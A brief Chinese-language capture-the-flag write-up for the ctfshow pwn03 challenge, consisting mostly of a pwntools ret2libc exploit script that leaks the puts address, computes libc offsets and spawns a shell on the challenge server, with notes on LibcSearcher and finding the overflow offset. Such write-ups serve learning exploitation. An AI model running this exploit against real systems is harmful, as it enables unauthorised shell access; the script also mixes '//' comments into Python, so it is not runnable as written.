CTFshow-pwn03
ret2lib,代码中没有system也没有/bin/sh,都要在动态库里找
from pwn import *
#from LibcSearcher import *
context.log_level = 'debug'
elf = ELF('./stack1')
#p = process('./stack1')
p = remote("pwn.challenge.ctf.show", 28106)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b'a' * 13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
p.recvuntil('\n\n')//接收两个换行(?)
puts_addr = u32(p.recv(4))//接受4位
print(hex(puts_addr))//获得了puts地址,上lib databse search查,输入puts和后三位得到是哪个库
libcbase = puts_addr - 0x067360//库基地址=puts地址-puts在库中的偏移
system_addr = libcbase + 0x03cd10
binsh_addr = libcbase + 0x17b8cf//可以找到str_bin_sh的偏移
payload = b'a' * 13 + p32(system_addr) + b'a'*4 + p32(binsh_addr)//中间4位的是system返回地址,因为不需要做什么可以随便填
p.sendline(payload)
p.interactive()
上网查库的部分可以改用LibSearcher
库实现 (虽然我的总说找不到库
lib = LibcSearcher("puts", puts_addr)
libcbase = puts_addr - lib.dump("puts")
system_addr = libcbase + lib.dump("system")
binsh_addr = libcbase + lib.dump("str_bin_sh")
看这张图感觉悟了一点…
来自ctfshow-pwn03[recorded]:
用cyclic算偏移用的是eip的地址(可以gdb下溢出的时候从错误信息看到